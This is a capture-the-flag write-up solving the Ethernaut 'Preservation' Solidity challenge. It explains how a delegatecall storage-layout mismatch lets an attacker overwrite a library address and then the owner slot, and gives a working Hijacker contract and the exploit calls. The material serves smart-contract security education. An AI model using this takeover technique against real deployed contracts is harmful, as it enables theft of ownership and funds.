Ethernaut 16: Preservation
Objective
Become the contract owner
Code
1contract Preservation {
2 // public library contracts
3 address public timeZone1Library;
4 address public timeZone2Library;
5 address public owner;
6 uint256 storedTime;
7 // Sets the function signature for delegatecall
8 bytes4 constant setTimeSignature = bytes4(
9 keccak256("setTime(uint256)")
10 );
11
12 constructor(
13 address _timeZone1LibraryAddress,
14 address _timeZone2LibraryAddress
15 ) {
16 timeZone1Library = _timeZone1LibraryAddress;
17 timeZone2Library = _timeZone2LibraryAddress;
18 owner = msg.sender;
19 }
20
21 // set the time for timezone 1
22 function setFirstTime(uint256 _timeStamp) public {
23 timeZone1Library.delegatecall(
24 abi.encodePacked(setTimeSignature, _timeStamp)
25 );
26 }
27
28 // set the time for timezone 2
29 function setSecondTime(uint256 _timeStamp) public {
30 timeZone2Library.delegatecall(
31 abi.encodePacked(setTimeSignature, _timeStamp)
32 );
33 }
34}
35
36// Simple library contract to set the time
37contract LibraryContract {
38 // stores a timestamp
39 uint256 storedTime;
40
41 function setTime(uint256 _time) public {
42 storedTime = _time;
43 }
44}
the level factory creates two instances of the LibraryContract and passes them as constructor parameters.
Solution
there are two big smells with this one
- the library contract is, well, not a library. It uses the contract keyword and has a state of its own.
- the delegatecall'd contract doesn't have the same storage layout as the caller.
Hold on, what actually is a library?
A library is a piece of code, usually implemented by someone else, exposing a programatical interface which runs in the same environment as the rest of your code and solves a particular problem
> My abstractooor roomate
A point of contempt with this definition is wether a library can have state of its own, that is, if it can store some information within itself, and potentially use it to not be idempotent (having two identical calls cause different effects).
Solidity thankfully allows us to defenestrate that point of nuance, and has a much more concrete definition of library:
Libraries are similar to contracts, but their purpose is that they are deployed only once at a specific address and their code is reused using the DELEGATECALL (CALLCODE until Homestead) feature of the EVM. This means that if library functions are called, their code is executed in the context of the calling contract [...] libraries are assumed to be stateless.
For layman implementors, this has a few consequences:
- If defining libraries with Solidity's library keyworkds and regular (or using..for) calling syntax, I'll be spared the details, since it's a compile error to even define a non-constant state field in a library.
- If I want to use delegatecall manually, I will not have the same behaviour, nor the same safeguards, as above out of the box.
The contracts for this level try to do the latter without care for how DELEGATECALL actually works, delegatecall ing a contract that behaves as it had a state of its own, when it actually is using the state of the calling contract.
Concretely, the LibraryContract will set the first word of storage word of the Preservation storage to whatever I want, and what can I find there?
[I] > forge inspect --pretty Preservation storageLayout
| Name | Type | Slot | Offset | Bytes |
|------------------|---------|------|--------|-------|
| timeZone1Library | address | 0 | 0 | 20 |
| timeZone2Library | address | 1 | 0 | 20 |
| owner | address | 2 | 0 | 20 |
| storedTime | uint256 | 3 | 0 | 32 |
... not the owner, sadly, but the first 20 bytes of the first word of storage is where the timeZone1Library is stored. I can:
- set it to some other Hijacker contract
- call setFirstTime on the Preservation contract
- Preservation will delegatecall to the the Hijacker
- this Hijacker will set the third storage slot to the attacker address.
The setFirstTime function takes a uint256 and not an address, so I'll have to do a bit of memory shuffling to get it just right:
1 Hijacker hijacker = new Hijacker(attacker);
2 uint256 spookyTimestamp = uint256(uint160(address(hijacker)));
3 target.setFirstTime(spookyTimestamp);
4 target.setFirstTime(0);
Awesome. But how should the Hijacker look like?
From above, I know the owner is in storage slot 3. So I should craft a contract that writes to the third storage slot when a setTime(uint256) is called on it:
1contract Hijacker {
2 address private padding1;
3 address private padding2;
4 address private owner;
5 address immutable private newOwner;
6
7 constructor(address newOwner_){
8 newOwner = newOwner_;
9 }
10
11 function setTime(uint256) public {
12 owner = newOwner;
13 }
14}
... let's check the storage layout:
[I] > forge inspect --pretty Hijacker storageLayout
| Name | Type | Slot | Offset | Bytes |
|----------|---------|------|--------|-------|
| padding1 | address | 0 | 0 | 20 |
| padding2 | address | 1 | 0 | 20 |
| owner | address | 2 | 0 | 20 |
... and run the thing:
[I] > forge test --mc Preservation
[⠊] Compiling...
[⠆] Compiling 1 files with 0.8.21
Running 1 test for test/16-Preservation.t.sol:PreservationSolution
[PASS] testSolution() (gas: 2273944)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 922.32µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
😎